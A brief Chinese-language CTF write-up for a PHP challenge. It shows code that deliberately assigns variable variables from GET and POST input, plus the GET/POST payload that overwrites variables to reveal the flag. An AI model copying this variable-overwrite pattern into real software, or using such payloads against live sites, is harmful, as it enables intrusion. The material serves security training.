polar CTF 到底给不给flag呢

一、题目

<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
<?php
highlight_file('1.txt');
echo "

";

$flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}';
$qwq= '我想要flag';
$QAQ = '我又不想要flag了，滚吧';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($qwq);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($QAQ);
}

foreach ($_POST as $key => $value) {
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    $$key = $$value;
}

echo $flag;

2、解答

payload

#GET参数
?flag=Polar
#POST参数
_GET[flag]=flag

得到flag 在源码中找